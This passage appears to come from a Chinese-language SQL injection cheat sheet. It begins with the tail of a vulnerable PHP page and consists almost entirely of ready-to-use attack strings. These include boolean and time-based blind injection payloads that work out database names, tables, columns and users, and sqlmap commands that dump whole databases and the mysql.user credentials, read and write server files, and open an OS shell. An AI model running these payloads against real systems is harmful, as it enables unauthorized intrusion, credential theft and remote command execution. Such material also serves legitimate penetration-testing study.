}
}
?>
<body>
<?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?>
</body>
</html>

猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.

index.php?id=1' and left(version(),1)=5 --+            // 返回正常,说明版本号是5
index.php?id=1' and (length(database()))=7 --+ // 返回正常,说明数据库名字长度是7

index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,说明数据库第一位是l
index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,说明数据库前两位位是ly,以此类推

index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 验证第一位是否为l
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // 验证第二位是否为y,以此类推

猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

index.php?id=1' and (select count(*) from mysql.user) >=0     // 存在mysql.user表
index.php?id=1' and (select count(*) from lyshark) >=0 // 存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

index.php?id=1' and (select count(id) from users) >=0       // 返回正常说明存在id字段
index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段
index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜测数据库用户名称长度
index.php?id=1' and (select user() like 'root%') # // 猜测用户名
index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z
index.php?id=1' and (select user() regexp '^r') # // 第一位是r
index.php?id=1' and (select user() regexp '^ro') # // 第二位是o
index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒
index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒
index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒
index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒

◆sqlmap 命令◆

常用检测命令:

sqlmap -u "./index.php?id=1" -v 3                   # 显示攻击载荷
sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别
sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限
sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限
sqlmap -u "./index.php?id=1" --all # 查询所有数据库
sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名
sqlmap -u "./index.php?id=1" --is-dba # 判断root权限
sqlmap -u "./index.php?id=1" --users # 枚举数据库用户
sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agent
sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录
sqlmap -u "./index.php?id=1" --file-read="" # 读取文件
sqlmap -u "./index.php?id=1" --file-write="" # 写入操作
sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令
sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令
sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句
sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie
sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本
sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延时1秒后注入
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延时3秒后注入

sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAF
sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库
sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名
sqlmap -u "./index.php?id=1" --users # 查询所有用户名
sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库
sqlmap -u "./index.php?id=1" --tables # 列出所有的表

sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Cookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判断注入点
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容

POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.

1.浏览器打开目标地址 http://www.xxx.com/index.php
2.配置burp代理(127.0.0.1:8080) 准备拦截请求
3.点击login表单的submit按钮,或者其他按钮均可
4.这时候Burp会拦截到了我们的登录POST请求
5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"